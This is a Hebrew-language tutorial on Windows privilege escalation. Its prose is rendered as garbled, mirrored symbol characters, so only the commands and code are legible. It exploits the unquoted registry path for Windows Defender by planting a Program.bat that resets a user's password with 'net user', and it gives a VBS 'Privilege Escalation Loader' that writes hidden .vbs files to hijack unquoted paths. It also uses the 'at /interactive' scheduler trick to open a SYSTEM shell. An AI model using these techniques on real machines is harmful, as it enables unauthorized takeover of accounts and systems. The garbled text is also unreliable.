˨˧˞ ˪˩ ˢˤ ˶ˤˣ˰ ˪ˣˮ ˠ˧˷ˢ˪ ˸ˣ˞˷˶ˢ? ˭ˣ˧˰˶ˢ ˞ˣˢ ˶˸˞˪ ˫˧˴˟˵ ˫˧˴˶˷ ˸ˬ˶˟ ˸˩˶˰ˬˢ - ˪˴˞ ˪˩ 

˫˧˷ˬ˸˷ˬˢ ˫ˢˣ ˫˧˲ˣ˷˥ ˢ˲˵˸ˬ˪ ˸˞ˤˢ ˢˬ ˸˞ˤ ˸˶ˬˣ˞ ˫˧˲ˣ˷˥ ˢ˲˵˸ˬ˪ ?˫˧˴˟˵ ˟˧˸ˮ˟˷ ˫ˢ˪˷ ,

˸ˣ˞ˢˬ ˪˷ ˭ˮˣ˩ˢ ,ˡ˰ˣ ˸ˬˣ˧˯˪ ˪˷ ˳˟ˣ˵ˢ ˣ˸ˣ˞˷ ˫˧˴˧˶ˬ - ˫˧˧˵ ˥ˣˣ˶ ,ˣ˪˧˲˞ ˥ˣˣ˶ ˡ˥˞ ,˞ˬˠˣˡ˪ - ˪˩ 

˫˧˴˟˵ˢ ˫˧˞˴ˬˮ˷ ˢ˧˵˧˸˟ "Program Files "ï ˫ˢ ˪˞˧˴ˮ˦ˣ˲˟ ˪ˣˡˠ ˸ˣ˧ˢ˪ ˫˧˲ˣ˷˥ ˢ˲˵˸ˬ˪ ˸˞ˤˢ. 

 

˫˞ ˞˴˧ ˫˩˪ ˷ˬ˸˷ˢ˪ ˟-Vista ,˥ˣ˦˟ ˫˸˪˵˸ˮ ˟-"Windows Defender" ,ˢˤ ˧˦ˮ˞ˢ ˯ˣ˶˧ˣ ˪˷ 

˸˩˶˰ˬˢ, ˞ˣˢˣ ˶ˡˠˣˬ ˸ˣ˪˰˪ ˪˴˞ ˪˩ ˷ˬ˸˷ˬ ˸˶˧˶˟˟ ˪ˡ˥ˬ ,˫ˠ ˷ˬ˸˷ˬ ˸˴ˣ˟˵ˬ Administrators .

˧˦ˮ˞ ˯ˣ˶˧ˣ ˢˤ ˱ˣ˷˥ ˢ˲˵˸ˬ˪ ˸˞ˤˢ )ˢˬ ˶ˬˣ˞˷ ˶˷˲˞˷ ˰˴˟˪ ˸˞ ˢ˲˵˸ˬˢ ˪˰ ˪˩ ˷ˬ˸˷ˬ ˟-Vista( ,

ˣ˞ˣ˟ ˪˩˸˯ˮ ˟-Registry ˨˧˞ ˸˩˶˰ˬˢ ˸˞˶ˣ˵ x˪ ,˶˟ˣˡˬ ˥˸˲ˬ˟ ˞˟ˢ: 

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft \ Windows \ CurrentVersion \ Run\ Window

s Defender  

 

˨˶˰ˢ ˣ˪˷ ˞ˣˢ : 

%ProgramFiles% \ Windows Defender \ MSASCui.exe - hide  

 

˟˧˸ˮˢ ˢˤˢ ˱ˣ˷˥ ˧ˮ˷˟ ˸ˣˬˣ˵ˬ ,˫ˠ ˥ˣˣ˶˟ ˫˧˧˵˷ ˟-"Windows Defender" ,˫ˠˣ ˥ˣˣ˶˟ ˷˧˷  

-˟%"ProgramFiles% - ˢˤ ˢˮ˸˷ˬ ˸˩˶˰ˬ ˶ˬˣ˷˷ ˸˞ ˫ˣ˵˧ˬˢ ˪˷ ˸˧˵˧˸ ˸ˣ˧ˮ˩ˣ˸ˢ ˪˷  

-sWindows. ˢ˞˶ˮ ˨˧˞ ˸˩˶˰ˬ ˫˧˴˟˵ˢ ˳˧˶˸ ˸˞ ˳˟ˣ˵ˢ ˢˤˢ .˸˩˶˰ˬ˟ ˧˪˷ ˫ˣ˵˧ˬˢ ˣ˪˷ ˞ˣˢ: 

C: \ Program Files \ Windows Defender \ MSASCui.exe  
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˸˩˶˰ˬˢˣ ˢ˴˧˶ˬ ˣ˸ˣ˞ ˢ˶ˣ˴˟ ˢ˞˟ˢ : 

C: \ Program Files \ Windows Defender \ MSASCui.exe - hide  

 

˟˪˷ ˭ˣ˷˞˶- ˸˩˶˰ˬˢ ˸˵ˡˣ˟ ,˫˞ˢ ˫˧˧˵ ˳˟ˣ˵ ˫˷˟: 

c: \ Program  

 

˫˞ ˫˧˧˵ ˢˤ˩ ˳˟ˣ˵ - ˞˧ˢ ˭˧˟˸ ˞ˣˢ˷ ˶ˣˬ˞ ˪˟˵˪ ˢ˷ˣ˪˷ ˫˧˦ˮˬˣˠ˶˞ ˳˧˶˸ˣ ˣ˸ˣ˞ ˢ˶ˣ˴˟ ˢ˞˟ˢ: 

C: \ Program" "Files \ Windows" "Defender \ MSASCui.exe" " - hide"  

 

˫˞ˣ ˞˪ ˫˧˧˵ ˢˤ˩ ˳˟ˣ˵ ,˞˧ˢ ˵ˣˡ˟˸ ˧˪ˣ˞ ˫˧˧˵ ˳˟ˣ˵ ˫˷˟: 

"C: \ Program Files \ Windows"  

 

ˢ˶˵ˬ˟ ˫˧˧˵ˣ ˢˤ˩ ˳˟ˣ˵ ,˞˧ˢ ˢ˯ˮ˸ ˳˧˶ˢ˪ ˣ˸ˣ˞ ˯˧ˮ˩ˢ˪ˣ x˪ ˧ˮ˷ ˫˧˦ˮˬˣˠ˶˞: 

"C: \ Program Files \ Windows" "Defender \ MSASCui.exe" " - hide"  

 

˫˞ˣ ˞˪ ˫˧˧˵ ,˞˧ˢ ˢ˯ˮ˸ ˸˷ˠ˪ ˸ˣ˶˷˲˞˪ ˢ˞˟ˢ ˨˶˰ˬ˟: 

"C: \ Program Files \ Windows Defender \ MSASCui.exe"  

 

˫˞ ˭˩˞ ˫˧˧˵ ˢˤ˩ ˳˟ˣ˵ ,˞˧ˢ ˥˧ˮ˸ ˞ˣˢ˷ ˶ˣˬ˞ ˪˟˵˪ ˵˶ ˦ˮˬˣˠ˶˞ ˡ˥˞ ˳˧˶˸ˣ ˣ˸ˣ˞ ˨˶ˡ˟ ˢ˞˟ˢ: 

"C: \ Program Files \ Windows Defender \ MSASCui.ex e" " - hide"  

 

˟˴ˬ˟ ˪˧ˠ˶- ˸˩˶˰ˬˢ ˢ˥˧˪˴ˬ ˶˸˞˪ ˸˞ ˳˟ˣ˵ˢ ˭ˣ˩ˮˢ. ˣ˞ˣ˟ ˢ˯ˮˮ ˫ˣ˶ˠ˪ ˪-Crossroad ˸˶ˤ˰˟ ˢˤ 

˶ˣ˴˧ˮ˷ ˳˟ˣ˵ ˫˷˟ Program ˪˰ ˭ˮˣ˩ˢ ˪˷ ˸˩˶˰ˬˢ. 

ˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˷ˬ˸˷ˢ˪ ˪˩˟ ˧˴˟˵ sˢ˴˶ˢ ˫˧˶˩ˣˬˢ ˸˩˶˰ˬ˪ ,˭ˣˠ˩: 

.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC  

 

˫˴˰˟ , ˢˮ˸˷ˬ˟ ˸ˬ˧˧˵˷ ˸ˬˣ˧˯ ˪˩PATHEXT. ˟ ˣ˟˸˩-CMD  ˭˩ˣ˸ ˸˞ ˸ˣ˞˶˪ ˧ˡ˩ ˢ˞˟ˢ ˢ˶ˣ˷ˢ ˸˞

ˢˮ˸˷ˬˢ : 

echo %PATHEXT% 
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˷ˣˬ˧ˬˢ 

 

˶ˣ˴˧ˮ ˳˟ˣ˵ ˢˣˣ˴˞ ˦ˣ˷˲ ˫˷˟ Program.bat ˪˰ ˭ˮˣ˩ˢ ˸˩˶˰ˬ ˠ˧˴˧˷ ˣˮ˪ ˸˞ ˦ˮˬˣˠ˶˞ˢ ˭ˣ˷˞˶ˢ, ˧ˮ˷ˢ 

˧˷˧˪˷ˢˣ ˞ˣˢ˷ ˪˟˵ˬ ,ˣ˟˸˩ ˣ˩ˣ˸˟ ˢ˩˩ : 

echo %1 , %2 , %3 

Pause  

 

˫˵ˬˮ ˣ˸ˣ˞ ˭ˮˣ˩˟ ˸˩˶˰ˬˢ ,˯ˮ˩ˮ ˪-cmd ˟ˣ˸˩ˮˣ ˸˞ ˢ˶ˣ˷ˢ ˢ˞˟ˢ : 

c: \ Program Files \ Windows Defender \ MSASCui.exe - hide  

 

˶ˣ˟˰ ˫˧˦ˮˡ˲ˢ ˭˧˟ˬ ˫˧˞˶ˣ˵ˢ ,˳˧˶ˮ ˵ˣ˧ˡ˟ ˣˬ˩ ˸˩˶˰ˬˢ˷ ˢ˴˧˶ˬ : 

ProgramFiles% \ Windows Defender \ MSASCui.exe - hide%  

 

ˢˬ ˦˪˲ˢ ˣˮ˪˟˧˵˷ ? 

Files \ Windows , Defender \ MSASCui.exe , - hide  

Press any key to continue . . .  

 

ˣˬ˧˷ ˟˪ - ˸˩˶˰ˬˢ ˭˩˞ ˢ˴˧˶ˬ ˸˞ ˳˟ˣ˵ˢ ˣˮ˪˷ ˞˪ˣ ˸˞ s-Windows Defender .˱˯ˣˮ˟ ˣˮ˥ˮ˞ ˫˧˪˟˵ˬ 

˶˦ˬ˶˲˩ ˸˞ ˶˞˷ ˟˧˸ˮˢ ˪˷ ˳˟ˣ˵ˢ ˧˶ˣ˵ˬˢ ,˸˞ˤ ˸˶ˬˣ˞ ˭˩˞˷ ˣˮ˥˪˴ˢ ˰˴˟˪ Crossroad! ˟˧ˮˠˬ. 

˶˸ˣ˧˟. 

ˣ˧˷˩˰ ˥˧ˮˮ ˣˮ˥ˮ˞ ˫˧˴ˣ˶ ˫ˣ˶ˠ˪ ˪˩˪ ˷ˬ˸˷ˬ- ˸ˣˮ˷˪ ˸˞ ˞ˬ˯˧˯ˢ ˣ˪˷ ˪-"cp77fk4r "˶˥˞˪ ˞ˣˢ˷ 

˶˟˥˸ˬ ˸˩˶˰ˬ˪, ˢˡˣ˵˲ˢ ˞˧ˢ : 

net user %username% cp77fk4r  

 

ˢˮ˸˷ˬˢ %username %˶ˬˣ˷ ˣ˩ˣ˸˟ ˶˥˞˪ ˸˩˶˰ˬˢ˷ ˢ˪ˣ˰ ˸˞ ˫˷ ˷ˬ˸˷ˬˢ ˧˟˧˦˵˞ˢ ˸˩˶˰ˬ˟. 

ˣ˶˴ ˳˟ˣ˵ ˫˷˟ Program.bat ˣ˟˸˩ˣ x˟ : 

@echo off  

net user %username% cp77fk4r  

 

ˢ˶ˣ˷ˢ ˢˮˣ˷˞˶ˢ ˸˶ˬˣ˞ ˪ˣ˯ˮˣ˵˪ ˞˪ ˠ˧˴ˢ˪ ˸˞ ˸ˣˡˣ˵˲ˢ ˞ˣˢ˷ ˳˧˶ˬ ,ˢ˶ˣ˷ˢ ˢ˧ˮ˷ˢ- ˣˮ˥ˮ˞ ˶˟˩ ˫˧˰ˡˣ˧ 

ˢˬ ˞˧ˢ ˢ˷ˣ˰. 
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ˣ˶ˬ˷ ˣ˸ˣ˞ ˭ˮˣ˩˟ ˸˩˶˰ˬˢ- ˣ˧˷˩˰ˬˣ ,˪˩ ˷ˬ˸˷ˬ ˶˟˥˸˧˷ ˸˩˶˰ˬ˪- ˸˧˦ˬˣ˦ˣ˞ ˢˮ˷˧ ˣˬ˴˰˪ ˸˞ 

˞ˬ˯˧˯ˢ ˸ˤˣ˶˥ˬ˪ ˣˮ˶˥˟˷ ,˪˟˞ ˢˬ ,˫˴˰˟- ˪˩ ˳˟ˣ˵ ˞ˣˢ˷ ˢ˯ˮ˧ ˳˧˶ˢ˪ ˨˶ˡ s-cmd ˶˟ˣ˰˷  

-˟Program Files ˞˪ ˳ˣ˶˧ ,ˢˬ˪ ?˧˩ ˞ˣˢ ˳˧˶˧ ˸˞ ˢˡˣ˵˲ˢ ˸˞ˤˢ ,ˢˬ ˦˰ˬ˩˷ ˥ˣ˦˟ ˫ˣ˶ˠ˧ ˷ˬ˸˷ˬ˪ 

ˡˣ˷˥˪ ˣˢ˷ˬ˟ ,˭˩˪ˣ ˧˞ˡ˩ ˫ˠ˷ ˟ˣ˸˩ˮ ˳˟ˣ˵˟ ˣˮ˪˷ ,˸˞ ˧˸˷ ˸ˣ˶ˣ˷ˢ ˸ˣ˞˟ˢ : 

call "%~d0 \ program files \ %~n1 %~2"  

exit  

 

ˢ˶ˣ˷ˢ ˢˮˣ˷˞˶ˢ )ˢ˧ˮ˷ˢ ˳˟ˣ˵˟ (˸˧˞˶˥˞ ˳˧˶ˢ˪ ˸˞ ˢˮ˩ˣ˸ˢ ˷ˬ˸˷ˬˢ˷ ˷˵˧˟ ˳˧˶ˢ˪ ,ˢ˶ˣ˷ˢ 

˸˧˷˧˪˷ˢ- ˸˞˴˪ ˭ˣ˪˥ˬ s-cmd ˣˢˤ ,˳˟ˣ˵ˢ ˶ˣˬ˞ ˸ˣ˞˶ˢ˪ ˢ˩˩ : 

@echo off  

net user %username% cp77fk4r  

call "%~d0 \ program files \ %~n1 %~2"  

exit  

 

ˣˢˤ ,ˣ˧˷˩˰ ˪˩ ˷ˬ˸˷ˬ ˯ˮ˩˧˷ ˸˩˶˰ˬ˪ ˞˴˧˧ˣ ˢˮˬˬ- ˪˰ˮ˧ ˳ˣ˥˟ ,˞˪ ˢ˧ˢ˸ x˪ ˸ˣ˶˷˲˞ ˸˰ˡ˪ ˢˬ 

˞ˬ˯˧˯ˢ ˣ˪˷ .˞˪˪ ˵˲˯ Crossroad ˢ˲˧˲˧ ˡ˥ˣ˧ˬ˟! 

ˢ˶˵ˬ˟ ˢˤˢ ˣˮ˧˞˶ ˨˧˞ ˸˶ˤ˰˟ ˢ˵˧ˠˣ˪ ˸˧˯˥˧ ˢ˦ˣ˷˲ ˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˰˴˟˪ Privilege escalation ˫ˣ˶ˠ˪ˣ 

˫˧˷ˬ˸˷ˬ˪ ˸ˣˮ˷˪ ˫ˢ˧˸ˣ˞ˬ˯˧˯ ,˫ˠ ˫˧˶˵ˬ˟ ˭˧˞ˣ ˣˮ˪ ˸ˣ˞˷˶ˢ ˸ˣˢˣ˟ˠ- ˣˬ˩ ˸˟˧˸˩ ˫˧˴˟˵ ˸ˣˬˣ˵ˬ˟ 

˫˧ˢˣ˟ˠ ,ˣ˞ ˧ˣˮ˧˷ ˫˧˩˶˰ ˟-Registry. 

˨˧˞ ˫˧ˮˮˣˠ˸ˬ ˧ˮ˲ˬ ˢ˲˵˸ˢ ˣˤ˩? ˦ˣ˷˲ ˡˣ˞ˬ ,˫˸˞˷˩ ˫˧˞˶ˣ˵ ˫˧˴˟˵˪ ˫˩˪˷ ,˫ˠ ˸˧ˮˡ˧ ˫ˠˣ ˨˶ˡ 

ˢRegistry - ˣ˯˧ˮ˩˸ ˫˸ˣ˞ ˭˧˟ ˧ˮ˷ ˫˧˧˷˶ˠ ,˥˧ˮˮ ˷˧ ˣˮ˪ ˸˞ s-Windows Defender ˢ˞˧˶˵ˢ˷ ˣ˧˪˞ 

˞˶ˮ˧˸ ˢ˩˩ : 

c: \ Program Files \ Windows Defender \ MSASCui.exe - hide  

 

ˣ˯ˮ˩ ˪-Registry ˣˮ˷˸ˣ ˸˞ ˢ˞˧˶˵ˢ ˣ˧˪˞ ˪ : 

"c: \ Program Files \ Windows Defender \ MSASCui.exe" - hide  

 

ˢ˩˩ ˸˩˶˰ˬˢ ˪˩ˣ˸ ˸˰ˡ˪ ˵ˣ˧ˡ˟ ˢˬ ˫ˣ˵˧ˬˢ ˣ˪˷ ˵ˣ˧ˡ˟ˣ ˢˬ ˯˧ˮ˩ˢ˪ x˪ ˫˧˦ˮˬˣˠ˶˞˩. 

ˢˬ˩ ˶˟˥'s ˬ-FoundStone ˣ˟˸˩ ˢˮ˩ˣ˸ ˢˡˬ˥ˮ ˸˵˶ˣ˯˷ ˸˞ ˸˩˶˰ˬˢ ˢ˞˧˴ˣˬˣ xl"˥ ˭˦˵ ˢˤ˧˞ 

˸ˣ˧˴˵˪˲˞ ˫˧˸ˣ˶˧˷ˣ ˫˧˲ˣ˷˥ ˸˩˶˰ˬˢ˷ ˢ˴˧˶ˬ ˪˩ ˫˰˲ ˞˧ˢ˷ ˢ˪ˣ˰ .˶˷˲˞ ˢˡ˧˶ˣˢ˪ ˵ˮ˧˪˟ ˞˟ˢ: 

http://www.foundstone.com/us/resources/proddesc/diredetectinginsecurelyregisteredexecutables.htm 

 

  

http://www.foundstone.com/us/resources/proddesc/diredetectinginsecurelyregisteredexecutables.htm
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˧˸˟˸˩ ˦˲˧˶˵˯ ˭˦˵ ˟-VBS ˫˸˞˷ ˫˧˯˧ˮ˩ˬ x˪ ˸˞ ˟˧˸ˮˢ ˢ˧˴˵˪˲˞˪ ˢ˲ˣ˷˥ˢ ˸˞ˣ ˢˡˣ˵˲ˢ ˫˸˞˷ 

˫˧˴ˣ˶ ˳ˣ˶˸˷ ˭ˬˤ˟ ˫˧˴˧˶ˬ˷ ˸˞ ˢ˸ˣ˞- ˞ˣˢˣ ˡ˟˪ ˫˵ˬˬ ˫˩˪ ˫˧˴˟˵ ˨˶ˣ˞˪ ˟˧˸ˮˢ ˢ˸ˣ˞˪ ˪˲˞ˢ˧ˢ˧˴˵ ,

˭˟ˣˬ˩ ˫˧˴˟˵ˢ˷ ˞ˣˢ˷ ˶˴ˣ˧ ˫ˢ ˫˧˴˟˵ ˫˧˶˸˯ˣˬ ˫˧˴˧˶ˬ˷ ˸˞ ˢˡˣ˵˲ˢ ˫˸˯ˮ˩ˢ˷  ˸˞ ˢ˧˶˥˞˪ˣ

˪˲˞ˢ˧ˢ˧˴˵ ˸˷˵ˣ˟ˬˢ ˧ˡ˩˟ ˷ˬ˸˷ˬˢ˷ ˞˪ ˡˣ˷˥˧ ˫ˣ˪˩˟ : 

REM Privilege Escalation Loader; by cp77fk4r / 03.06.09  

 

Int cnt  

Dim path,dir,cmd  

Dim objFSO, strFile, objFile  

 

Set objFSO = CreateObject("Scripting.FileSystemObject")  

path = InputBox("FullPath:"+vbCRLF+"(Example: C: \ Program 

Files \ Google \ Gmail Notifier \ gnotify.exe",,, 5000, 4000)  

 

 

cmd = "Set objShell = 

CreateObject("+chr(34)+"WScript.Shell"+chr(34)+")"+vbCRLF  

cmd = cmd  + "a = objShell.Run ("+chr(34) + 

InputBox("Command:"+vbCRLF+"Example: Net user %username% 

1337")+chr(34)+", 0 , 0)"+vbCRLF  

cmd = cmd + "a = objShell.Run 

("+chr(34)+chr(34)+chr(34)+path+chr(34)+chr(34)+chr(34)+")"  

 

dir=Split(path," \ ")  

cnt=0  

For i = 0 to UB ound(dir)  

 if InStr(dir(i)," ") then  

  cnt=cnt+1  

  strFile = split(dir(i))  

  If ((objFSO.FileExists(path)) or 

(objFSO.FolderExists(path))) Then  

   Set objFile = objFSO.CreateTextFile(fpath & 

strFile(0) & ".vbs")  

   objFile.WriteLine(cmd)  

   objFile.Close  

   set objFile = objFSO.GetFile(fpath & strFile(0) & 

".vbs")  

   objFile.Attributes = objFile.Attributes + 2  

  else  

   WScript.Echo path & " Not exist"  

   WScript.Quit  

  end if  

 end if  

 fpath=fpath&dir(i)&" \ "  

Next  

WScript.Echo cnt & " files writed."  

WScript.Quit  
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ˢˬ˪˯ˢ ˸˶ˤ˰˟ ˭ˬˤ˸ˬ ˸ˣˬ˧˷ˬˢ - At.exe 

 

ˢ˶˵ˬ˟ ˞˟ˢ ˣˮ˥ˮ˞ ˢ˞˶ˮ ˡˣ˰ ˢ˵˧ˠˣ˪ ,˪˟˞ ˠˣ˯ˬ ˶˥˞ .˭ˣ˧˰˶ˢ ˢˬ˪˯ˢ˟ xʕ ˞ˣˢ ˢ˟˶ˢ ˶˸ˣ˧ ˦ˣ˷˲ ˢ˟˶ˢˣ 

˶˸ˣ˧ ˪˵ ˰ˣ˴˧˟˪ ˢˬ˪˯ˢˢˬ ˢˮˣ˷˞˶ˢ ,˪˟˞ ˫ˠ ˢ˶˵ˬ˟ ˢˤ ˶˟ˣˡˬ ˪˷˩˟ ˢ˥˦˟˞ ˧ˠˣ˪ ˞˷ˣ˸ˣ ˣˮ˥ˮ˞ 

˫˧˪˴ˮˬ. 

-˟Windows ˷˧ ˸ˣ˶˷˲˞ ˰˴˟˪ "˭ˣˬˤ˧˸ ˸ˣˬ˧˷ˬ "- ˶˧ˡˠˢ˪ ˸˩˶˰ˬ˪ ˢ˪˰˲ˢ ˰˴˟˪ ˢˬ˧˷ˬ ˸ˬ˧˧ˣ˯ˬ 

˭ˬˤ˟ ˫˧˧ˣ˯ˬ ,ˣ˞˪ˣ ˞˵ˣˣˡ ˰ˠ˶˩ ,˸˩˶˰ˬˢ ˶ˣˬ˷˸ ˸˞ ˢˬ˧˷ˬˢ ˢ˸ˣ˞˷ ˷ˬ˸˷ˬˢ ˢ˴˶ ˰˴˟˪ ,˰˧ˠ˸˷˩ˣ 

ˢ˰˷ˢ ˷ˬ˸˷ˬˢ˷ ˷˵˧˟ - ˸˩˶˰ˬˢ ˰˴˟˸ ˸˞ ˢˬ˧˷ˬˢ .ˢˬ˧˷ˬˢ ˢ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˸˴˶ˢ ˢˮ˩ˣ˸ ,˧ˣ˟˧˩ 

˟˷˥ˬˢ ,˸˪˰˲ˢ ˶˧˷ ,ˣ˞ ˪˩ ˢ˪ˣ˰˲ ˸˶˥˞.  

˸˞ s-Privilege escalation ˞˟ˢ ˶˷˲˞ ˰˴˟˪ ˵˶ ˷ˬ˸˷ˬˬ ˞˪ ˪˟ˠˣˬ - ˷ˬ˸˷ˬ ˪˟ˠˣˬ ˞˪ ˪ˣ˩˧ 

˭ˬˤ˸˪ ˸ˣˬ˧˷ˬ .˫˞ ˷˧ ˫˩˪ ˭ˣ˟˷˥ ˪˷ ˷ˬ˸˷ˬ ˪˧ˠ˶ ˸˩˶˰ˬ˟ ˸ˣˣ˪˩ ˸˶ˤ˰˟ ˪˷˩ˢ ˞˟ˢ ˪˟˵˪ ˸ˣ˞˷˶ˢ 

System. 

 

˷ˣˬ˧ˬˢ 

 

ˣ˯ˮ˩ ˪-Cmd ˣ˟˸˩˸ˣ ˫˷: 

At  

 

˫˞ ˬˢ˰˸˩˶ ˸˦˪ˣ˲ ˫˩˪ : 

access denied  

 

ˢ˞˶ˮ˩ ˫˸˞˷ ˪˰ ˷ˬ˸˷ˬ ˪˟ˠˣˬ ,˪˟˞ ˫˞ ˸˩˶˰ˬˢ ˸˦˪ˣ˲ ˫˩˪ : 

There are no entries in the list  

 

˫˸˞ ˭ˣˣ˧˩˟ ˭ˣ˩ˮˢ .˶˟˯ˢ ˶˴˶˴˵ :˟˧˩˶ˢ At ˳˶ ˪˰ System ,ˢˬ ˶ˬˣ˞˷ ˫ˠ˷ ˷˧ x˪ ˸˞ ˸ˣ˞˷˶ˢˢ ˷˧˷ 

-˪System ,ˢˬ˪ ˢˤ? ˧ˮ˲ˬ ˫˧˷ˬ˸˷ˬ˷ ˟˧˩˶˟ ˢˤˢ ˧ˡ˩˟ ˰˴˟˪ ˫˧˧ˣ˟˧ˠ ˫˧ˮˬˤˣ˸ˬ ,ˣ˞ ˧ˡ˩˟ ˫ˣ˶ˠ˪ ˧˦ˮ˞˪ 

˯ˣ˶˧ˣ ˰˴˟˪ ˸ˣ˵˧˶˯ ˸ˣˮˬˤˣ˸ˬ x˞ ˵ˣˡ˟˪ ˸˞ ˫˧ˮˣ˩ˡ˰ˢ ˫˧˷ˡ˥ˢ ˧ˡˬ ˫ˣ˧ ,˧ˡ˩˟ ˸˷ˠ˪ ˪˩˪ ˸ˣˬˣ˵ˬˢ 

ˢ˪˞ˢ ,˶˟˥ˢ's ˟-Microsoft ˣˠ˞ˡ ˟˧˩˶˪˷ ˮˢ"˪ ˢ˧ˢ˸ ˢ˷˧ˠ ˢ˞˪ˬ ˸˩˶˰ˬ˪. 

 

˸˰˩ ˣ˟˸˩ ˟-cmd : 

echo %time%  
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˫˞ ˫˸˞ ˫˧˞ˣ˶ ˷˧˷ ˫˩˪ ˶˸ˣ˧ ˧˴˥ˬ ˢ˵ˡ ˡ˰ ˶ˣ˟˰˸˷ ˢ˵ˡ- ˣˮˣˣ˩˸ ˸˞ ˭ˣˬˤ˸ˢ ˢ˵ˡ˪ ˢ˟ˣ˶˵ˢ ˢ˶ˣˬ˞˷ 

˰˧ˠˢ˪ ,˫˞ ˭˧˞ ˫˩˪ ˵˧˲˯ˬ ˭ˬˤ- ˣˮˣˣ˩˸ ˢ˵ˡ˪ ˞ˣ˟˸˷ ˢ˧˶˥˞ ,˶˸˧˧˪ ˭ˣ˥˦˧˟ .˧˧˵ˣ˞ ,ˢˬ˧˷ˬˢ ˣˮ˥ˮ˞˷ 

˫˧˴ˣ˶ ˯˧ˮ˩ˢ˪ ˪-At ˞˧ˢ cmd.exe, ˭˟ˣˬ˩- ˟˴ˬ˟ ˪˷ Interactive ˧ˡ˩˟ ˪˩ˣˮ˷ ˫ˠ ˶˷˵˸˪ ˫˰ ˫˧˟˩˶ˢ 

˨˶ˡ s-explorer ˣˮ˪˷ ˞˪˷ˣ ˳ˣ˶˧ ˪˰ s-session ˪˷ s-System. 

At HH:MM /interactive cmd.exe  

 

]˭˟ˣˬ˩ ˟˷-HH:MM ˫˸˞ ˫˧ˬ˷ˣ˶ ˸˞ ˢ˰˷ˢ ˢ˧ˢ˸˷ ˭ˣ˰˷ˢ˷˩ ˱˧˪˥˧ ˢ˵ˡ .˥˧ˮˮ ˢ˰˷ˢˣ 13:20 ,ˣ˟˸˩- 

13:21[. .˫˞ ˪˩ˢ ˰˴˟˸ˢ ˣˬ˩ ˨˧˶˴˷- ˶ˣˬ˞ ˳ˣ˲˵˪ ˫˩˪ cmd ,ˣ˴˥˪˸ ˪˰ CTRL+ALT+DEL ,ˣ˪˩˸˯ 

˪˰ Processes, ˣˮˬ˯˸ ˸˞ : 

"Show Processes from all users"  

 

ˣ˷˲˥˸ ˸˞ cmd.exe - ˣ˞˶˸ˣ ˞ˣˢ˷ ˰˧˲ˣˬ ˸˥˸ ˷ˬ˸˷ˬˢ system ,˭˩ ,ˣ˩˶ˡ ˫˸˞ ˫˧˪ˣ˩˧ ˰˴˟˪ ˪˩ ˢˬ 

-˷System ˪ˣ˩˧ ˰˴˟˪ .ˣ˞ˣ˟ ˢ˞˶ˮ ˡˣ˰ ˣˢ˷ˬ ,ˣ˶ˠ˯ ˪˩ˢ ,ˣ˰˧ˠ˸ˣ ˟ˣ˷ ˪-cmd.exe ,ˣ˟˸˩ ˫˷ ˫˰˲ˢ : 

At HH:MM /interactive explorer.exe  

 

]˫˰˲ˢ ˫˸˞ ˫˧ˬ˷ˣ˶ ˸˞ ˢ˰˷ˢ ˢ˧ˢ˸˷ ˡˣ˰˟ ˧˸˷ ˸ˣ˵ˡ.[ ˣ˯ˮ˩ ˟ˣ˷ ˪-Windows Task Manager ,

ˣ˷˲˥˸ ˸˞ s-explorer.exe ˳˶˷ ˪˰ ˷ˬ˸˷ˬˢ ˫˩˪˷ ˣ˶ˠ˯˸ˣ ˣ˸ˣ˞. ˱˯ˣˮ˟ - ˣ˶ˠ˯ ˸˞ ˪˩ ˫˧˩˧˪ˢ˸ˢ 

˷ˬ˸˷ˬˢ˷ ˫˩˪˷ ˳˧˶ˬ) .˫˧ˬ˰˲˪ ,˟˴ˬ˟ ˢ˷-explorer ˢ˯ˮˬ ˳˧˶ˢ˪ ˪˲˞˧˸ˣ˧˴˵ ˸ˣ˞˷˶ˢ˟ ˸ˣˮˣ˷ 

ˣ˪˷ˬ ˞ˣˢ ˪ˣ˩˧ ˰˵˸ˢ˪ ,˭˩˪ ˱˧ˡ˰ ˶ˣˠ˯˪ ˸˞ ˪˩ ˫˧˩˧˪ˢ˸ˢ ˫˧˴˶˷ ˸˥˸ ˷ˬ˸˷ˬˢ ˫˩˪˷- ˭˩˪ˣ ˫˸ˮˣˣ˧˩ 

˸˞ ˭ˬˤˢ ˡˣ˰˪ ˧˸˷ ˸ˣ˵ˡ ˞˪ˣ ˡˣ˰˪ ˢ˵ˡ(. 

˧˶˥˞ ˫˸˶ˠ˯˷ ˪˩ˢ ,˭˟ˣˬ˩ˣ ˸˞˷ s-Taskmgr.exe - ˫˸˶ˠ˯ ˭ˣ˶˥˞ ,˫˩˪ˣˬ ˶ˣˬ˞ ˸ˣ˧ˢ˪ ˨˯ˬ ˵˧˶ ,˧˪˟ 

˦˧˶˲˸ "˪˥˸ˢ" ˧˪˟ˣ ˫ˣ˪˩ ,ˣ˩˥˸ ˣ˶˟˰˧˷ ˧˸˷ˢ ˸ˣ˵ˡ ,˫˞ˣ ˫˸˧˷˰ ˪˩ˢ ˭ˣ˩ˮ- ˶ˣˬ˞ ˭˰˦ˢ˪ ˫˩˪ ˭˥˪ˣ˷ˢ 

ˢˡˣ˟˰ ,ˣ˩˥˸ ˪˩ˢ˷ ˢ˪˰˧ ˡ˰ ˱ˣ˯ˢ, ˣ˴˥˪˸ ˪˰ ˪ˬ˯ˢ ˪˷ s-"˪˥˸ˢ "- ˢˬ ˟ˣ˸˩ ˢ˪˰ˬ˪ ?˭˩ ,˫˸˞ 

˫˧˴˧˶ˬ ˸˞ ˭˥˪ˣ˷ˢ ˢˡˣ˟˰ ˪˷ s-System ,˭˟ˣˬ˩ ˪˩˷ ˢˬ ˣ˴˧˶˸˷ ˣ˩˶ˡ ˷˶˧˧ ˸˞ ˸ˣ˧ˠ˪˧˟˧˶˲ˢ ˪˷ s-

explorer ,ˢˬ ˶ˬˣ˞˷ ˫˸˞˷ ˫˧˪ˣ˩˧ ˸ˣˮ˷˪ ˸˞ ˞ˬ˯˧˯ˢ ˪˷ ˭ˣ˟˷˥ˢ ˢˤˢ- x˞ ˪˷ ˪˩ ˭ˣ˟˷˥ ˶˥˞ ˪˰ 

